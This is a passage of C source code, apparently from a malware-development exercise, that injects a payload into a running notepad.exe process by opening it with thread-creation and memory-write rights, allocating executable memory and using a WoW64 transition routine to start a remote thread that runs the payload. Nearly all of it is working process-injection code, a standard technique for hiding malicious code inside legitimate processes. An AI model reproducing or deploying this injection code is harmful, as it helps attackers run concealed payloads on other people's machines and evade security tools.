VirtualAlloc( pX64function, sizeof(sh_wownativex)+sizeof(WOW64CONTEXT), MEM_COMMIT, PAGE_EXECUTE_READWRITE );

// set the context
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sh_wownativex_len );

ctx->h.hProcess = hProc;
ctx->s.lpStartAddress = pRemoteCode;
ctx->p.lpParameter = 0;
ctx->t.hThread = NULL;

printf("hit me...\n"); getchar();

// run a new thread in target process
pExecuteX64( pX64function, (DWORD)ctx );

if( ctx->t.hThread ) {
// if success, resume the thread -> execute payload
printf("Thread should be there, frozen...\n"); getchar();
ResumeThread(ctx->t.hThread);

// cleanup in target process
VirtualFree(pExecuteX64, 0, MEM_RELEASE);
VirtualFree(pX64function, 0, MEM_RELEASE);

return 0;
}
else
return 1;
}


/*

Injections:
[] 64-bit -> 64-bit
[] 32-bit -> 32-bit
[] 64-bit -> 32-bit
[] 32-bit -> 64-bit

*/

int main(void) {

int pid = 0;
HANDLE hProc = NULL;

pid = FindTarget("notepad.exe");

if (pid) {
printf("Notepad.exe PID = %d\n", pid);

// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if (hProc != NULL) {
Inject(hProc, payload64, payload64_len);
CloseHandle(hProc);
}
}
return 0;
}